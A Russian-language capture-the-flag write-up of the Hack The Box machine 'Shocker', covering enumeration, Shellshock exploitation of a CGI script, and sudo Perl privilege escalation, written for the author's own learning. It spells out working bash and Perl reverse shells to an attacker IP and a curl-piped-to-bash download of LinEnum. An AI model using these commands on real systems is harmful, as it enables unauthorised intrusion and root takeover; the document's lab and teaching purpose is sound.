Это рецензия Shocker на Hack The Box — она предназначена для моего собственного обучения, а также для создания банка знаний. Это всего лишь моя третья коробка, поэтому я делаю комбинацию из собственных проб и ошибок и следую Ippsec + Rana Khalil.
Разведка
Для начала я запустил сканирование nmap:
sudo nmap 10.10.10.56 -sV -sC -O -p-
- -sV — определить версию сервиса
- -sC — запускать сценарии nmap по умолчанию.
- -O — определить ОС
- -p- — тег -p предназначен для сканирования диапазонов портов, поэтому при использовании -p- он сканирует все порты от 0 до 65535.
- Порт 80 — http-версия Apache httpd 2.4.18
- Порт 2222 — версия ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
перечисление
Порт 2222 — Opensssh 7.2p2 4ubuntu2.2
В нем просочилась довольно подробная информация о версии пакета, так что можно узнать, когда он последний раз исправлялся:
Скорее всего, последний патч был исправлен в марте 2017 года.
Порт 80 — Apache 2.4.18
При использовании searchsploit для него существует ряд различных уязвимостей:
Будучи веб-сервером, я решил проверить веб-страницу.
И сделал некоторое перечисление поддоменов с помощью gobuster:
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://10.10.10.56 -t 50 --append-domain
Но ничего не нашел.
Следуя видео Ippsec, он затем использовал gobuster для перечисления и искал код состояния 403, что означает, что каталог существует, но нам не разрешен доступ к нему.
Версия Gobuster 3.5 перемещена в черный список кодов состояния, поэтому нам нужен флаг -b.
gobuster dir -w /usr/share/wordlists/dirb/small.txt -u https://10.10.10.56 -t 50 -s "204,301,302,307,401,403" -b ""
Вы можете видеть, что у нас есть каталог /cgi-bin/
Чтобы продолжить перечисление, мы можем искать файлы с определенными расширениями, такими как файлы bash или файлы pearl. Я также добавил в код состояния 200.
gobuster dir -w /usr/share/wordlists/dirb/small.txt -u https://10.10.10.56/cgi-bin/ -t 50 -s "204,301,302,307,401,403,200" -b "" -x sh,pl
Здесь мы находим файл с именем /user.sh
Перейдя к файлу /user.sh, мы видим, что он отправляет нам файл. Он выполнил какой-то bash, так что давайте воспользуемся burp для дальнейшего изучения.
Убедитесь, что вы поставили галочку для перехвата ответов в настройках прокси.
Перехватив ответ от сервера Apache, мы видим, что тип содержимого в заголовке ответа — text/x-sh, и браузер не знает, что с этим делать, поэтому сохраняет его в виде файла.
Если мы отредактируем этот ответ и изменим его на text/plain следующим образом:
Наш браузер показывает нам запрос, а не загружает его в виде файла.
Эксплуатация
Просмотр каталога cgi и обнаружение сценария user.sh в паре с именем машины shocker указывает на то, что она может быть уязвима для shellshock. Shellshock — это уязвимость, использующая переменные среды в BASH и допускающая RCE. Здесь — дополнительная информация об этом.
Давайте воспользуемся скриптовым движком nmap (nse), чтобы узнать, есть ли у них скрипт.
locate nse | grep shellshock
И они делают:
Мы можем взглянуть на скрипт, чтобы увидеть несколько примеров использования:
less /usr/share/nmap/scripts/http-shellshock.nse
И скопируйте пример в буфер обмена:
Обновите аргументы, чтобы сканировать только порт 80, чтобы выполнить скрипт user.sh и, конечно же, наш целевой IP-адрес.
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
Мы обнаружили, что он уязвим для shellshock, поскольку скрипт nse смог успешно выполнить свою полезную нагрузку.
Однако команда не сработала, мы сказали ей выполнить ls, но она вернула внутреннюю ошибку сервера 500.
Давайте используем burp, чтобы разобраться в этом.
Настройте прослушиватель в настройках прокси с привязкой к порту 8081
Затем перенаправьте запросы на 10.10.10.56 на порт 80.
Затем обновите свой скрипт nmap, указав новый порт и IP.
nmap -sV -p8081 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 127.0.0.1
Из обновленной команды видно, что мы отправляем HTTP-запрос с полезной нагрузкой на наш домашний IP-адрес через порт 8081 для перехвата запросов, а затем перенаправляем их в блок Shocker.
После запуска команды нам нужно перехватить запросы от скрипта nmap и найти GET-запрос к /cgi-bin/user.sh с полезной нагрузкой и отправить его на повторитель.
Оттуда, играя с запросом, мы можем увидеть фактическую полезную нагрузку shellshock, за которой следуют 2 команды эха. Если мы удалим пользовательский агент и реферер, чтобы сосредоточиться на файлах cookie, и заменим последние 2 команды echo на /bin/ls, а затем отправим их на сервер, он вернет фактический файл user.sh.
Причина, по которой ls сама по себе не работает, заключается в том, что профиль не загружен, но если вы укажете /bin/bash -c в правильном формате, то любая команда будет работать.
Итак, теперь идите и обновите скрипт nse. Для этого сначала войдите в режим su:
sudo su
Затем отредактируйте скрипт с помощью vim:
vim /usr/share/nmap/scripts/http-shellshock.nse
Но это не сработало. Я продолжал получать этот результат:
После долгих проб и ошибок при редактировании сценария я начал редактировать аргумент cmd и, наконец, обнаружил, что это сработало:
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd='echo; /bin/bash -c whoami', 10.10.10.56
Теперь, когда у нас есть работающий эксплойт, перейдите к шпаргалке по обратной оболочке pentestmonkey и попробуйте некоторые из их оболочек rev.
Закрепиться
Это первый:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Итак, запустите прослушиватель netcat:
nc -nlvp 8081
Введите обратную оболочку:
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd='echo; /bin/bash -i >& /dev/tcp/10.10.14.17/8081 0>&1', 10.10.
И это сработало, у нас есть оболочка:
Повышение привилегий
Я буду использовать для этого LinEnum.sh, поэтому, если у вас нет его копии, загрузите его из этого репозитория github: https://github.com/rebootuser/LinEnum
Настройте простой http-сервер, чтобы скопировать его на целевую машину.
python -m http.server 8083
Скопируйте скрипт LinEnum.sh и передайте его в bash.
curl https://10.10.14.17:8083/LinEnum.sh | bash
Просматривая вывод, мы видим, что хост шокирован, а пользователь — шелухой.
Мы также видим, что shelly может запускать привилегированные Perl-скрипты.
Итак, давайте создадим обратную оболочку в perl.
На Pentest Monkey уже есть обратная оболочка на Perl, которую мы можем использовать:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Итак, в обычной оболочке:
sudo -l
И обнаружите, что мы используем путь к каталогу /usr/bin/perl для выполнения привилегированных сценариев perl. Поэтому я настроил слушателя на порт 8082 в другом терминале:
nc -nlvp 8082
А затем в непривилегированной обратной оболочке выполните следующую команду.
sudo /usr/bin/perl -e 'use Socket;$i="10.10.14.17";$p=8082;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
И получил привилегированную оболочку:
На этом — мы закончили!
Уроки выучены:
Веб-сервер был небезопасен из-за неправильной конфигурации. У меня не было доступа к каталогу /cgi-bin, но по какой-то причине мне был разрешен доступ к файлу user.sh внутри этого каталога. Администратор должен иметь ограниченный доступ ко всем файлам в каталоге.
Затем веб-сервер выполнял команды bash в системе, на которой работала версия Bash, уязвимая для уязвимости Shellshock.
Наконец, системы всегда должны быть настроены с концепцией наименьших привилегий, иначе мы не смогли бы выполнять команды Pearl как sudo, что позволило бы нам повысить наши привилегии.